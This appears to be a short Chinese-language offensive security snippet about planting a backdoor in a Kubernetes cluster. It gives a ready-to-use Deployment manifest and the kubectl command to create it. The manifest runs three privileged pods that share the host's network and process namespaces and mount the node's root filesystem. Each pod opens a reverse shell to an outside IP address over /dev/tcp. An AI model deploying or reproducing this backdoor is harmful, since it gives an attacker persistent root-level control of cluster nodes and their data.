云原生安全之利用Deployment来部署后门

#dep.yaml
apiVersion: apps/v1
kind: Deployment  #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3  #指定Pod副本数量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"] #反弹Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true #特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

#创建
kubectl create -f dep.yaml